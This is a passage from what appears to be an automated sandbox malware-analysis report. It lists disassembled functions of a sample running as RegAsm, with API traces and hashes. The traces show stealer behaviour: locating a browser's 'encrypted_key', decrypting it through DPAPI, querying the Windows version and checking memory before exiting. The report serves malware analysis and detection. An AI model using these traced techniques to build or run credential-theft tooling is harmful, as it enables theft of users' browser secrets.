Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,010FC240,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,01102DA8,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,010FC240,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT(?,?,?), ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 209fcced0cebbcd9d98fd25c66d0a056032fde6eaf131180374a84eccdf71de6
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 209fcced0cebbcd9d98fd25c66d0a056032fde6eaf131180374a84eccdf71de6
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6BECC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BECC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BECC969
GetSystemInfo.KERNEL32(?), ref: 6BECC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BECC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BECC9E2

Memory Dump Source

Source File: 00000002.00000002.2252758559.000000006BEB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6BEB0000, based on PE: true

Associated: 00000002.00000002.2252736558.000000006BEB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252945257.000000006BF3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252964506.000000006BF42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6beb0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 9f004d8ffe2fbe9dac6b7bd49bd131acf57ac79d678fa1aa588f47e339b114c5
Instruction ID: b3a4e94a0b1d536b4a43dd30bd982fab237faa852520ee65d4e52d2f77391b1f
Opcode Fuzzy Hash: 9f004d8ffe2fbe9dac6b7bd49bd131acf57ac79d678fa1aa588f47e339b114c5
Instruction Fuzzy Hash: 4F2129317506146BDB24AB78DC88BAF73BAEB46704F60051EF912A7340DB75DC8487E1

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010FAB78), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,010FAC58), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,010FAB98), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,010FAB78), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,010FAC58), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,010FAB98), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(010FA9A8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(01102898,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,010FAA58,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(010FA9A8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,01102B80,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,01102BF8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,011018B8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
